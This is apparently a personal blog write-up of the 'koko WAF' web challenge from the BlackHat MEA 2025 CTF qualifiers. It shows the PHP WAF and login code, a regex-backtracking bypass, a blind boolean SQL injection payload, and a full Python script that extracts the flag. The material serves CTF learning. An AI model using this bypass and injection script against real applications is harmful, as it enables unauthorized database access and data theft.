BlackHat mea Quals 2025 — Web challenges

Depe Lv1

I recently participated in Blackhat mea ctf 2025 quals. These are the write-ups of the Web challenges that I solved. I hope you will learn something new.

Happy Hacking!!

koko WAF

we were given the challenge files and the source code for the whole web application to analyze

1
2
3
4
5
6
7
8
9
10
11
12
└─$ tree kokowaf-player 
kokowaf-player
├── docker-compose.yml
├── Dockerfile
├── init.db
├── init.sh
└── src
├── db.php
├── index.php
├── profile.php
├── register.php
└── waf.php

looking at waf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

$sqli_regex = [
"/(['|\"])+/s",
"/(&|\|)+/s",
"/(or|and)+/is",
"/(union|select|from)+/is",
"/\/\*\*\//",
"/\s/"
];
function waf($input)
{
global $sqli_regex;
foreach ($sqli_regex as $pattern)
{
if(preg_match($pattern,$input))
{
return true;
}
else
{
continue;
}
}
}
?>

The WAF filters out specific SQL keywords and characters using preg_match function,
The regex translates to :

  • No quotes ‘ or “
  • No logical operators (or, and)
  • No union, select, from
  • No comments (/**/)
  • No spaces

Now looking at the relevant section from index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$username= $_POST['username'];
$password= sha1($_POST['password']);

if(waf($username))
{
$error_message = "WAF Block - Invalid input detected";
}
else
{
$res = $conn->query("select * from users where username='$username' and password='$password'");
if($res->num_rows === 1)
{
$_SESSION['username'] = $username;
$_SESSION['logged_in'] = true;
header("Location: profile.php");
exit();
}
else
{
$error_message = "Invalid username or password";
}
}
Key points:
  • Passwords are stored as SHA1 hashes.
  • Only the username field passes through the WAF check.
  • SQL query is vulnerable because of string concatenation:
1
select * from users where username='$username' and password='$password'

If we somehow managed to bypass the WAF filter, we could inject into the $username field.

We spent nearly eight hours straight throwing every trick in the SQLi playbook at this filter — case toggling, encodings, comment injections, whitespace bypasses — you name it, we tried it. Nothing worked. This WAF laughed at every payload we had up our sleeves… until we realized the real weakness wasn’t in what it blocked, but in how it was getting blocked.

While digging around, my friend came across a similar challenge writeup from last year. That was the lightbulb moment.

The key insight is that regex engines aren’t parsers — they have their own quirks:

  • Greedy → they try to consume as much input as possible.
  • Vulnerable to catastrophic backtracking → overly long or repetitive inputs can overwhelm them, causing the pattern matching to fail or behave inconsistently.

So instead of trying to sneak around the regex rules, the real solution was to break the regex itself.

We constructed a massive prefix before our injection payload:

1
2
3
prefix = 383838 * '"'     
prefix += 383838 * 'or'
prefix += 383838 * 'union'

This effectively overloaded the regex engine. By the time it scanned through hundreds of thousands of characters, it failed to correctly detect the final malicious injection at the end of the string and provided a false (thus bypass the check in the code above in waf.php).

after that we craft our blid bool-based SQLi injection payload and append it to the exploit and it will work

1
' or (if((select(flag)from(flags)) like ('BHFlagY{a%'),1,2)=1)#

then we coded a script that retrive the flag character by character and checks everytime if it starts with the “privously” check flag and append to it.

so our final exploit was :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

prefix = 383838 * '"'
prefix += 383838 * 'or'
prefix += 383838 * "union"

now_flag = "BHFlagY{"
hex_char = "abcdef0123456789}"

for i in range(300):
print(now_flag)
for j in hex_char:
flag = now_flag + j
injection = {
'username': prefix + "'or(if((select(flag)from(flags))like('" + flag + "%'),1,2)=1)#",
'password': "password",
'login-submit': ''
}
resp = requests.post("https://home:5001", data = injection, allow_redirects = False)
if resp.status_code == 302:
now_flag = flag
break
  • Title: BlackHat mea Quals 2025 — Web challenges
  • Author: Depe
  • Created at : 2025-09-10 01:07:12
  • Updated at : 2025-09-10 02:26:50
  • Link: https://depe.blog/2025/09/10/BlackHat-mea-Quals-2025-—-Web-challenges/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
BlackHat mea Quals 2025 — Web challenges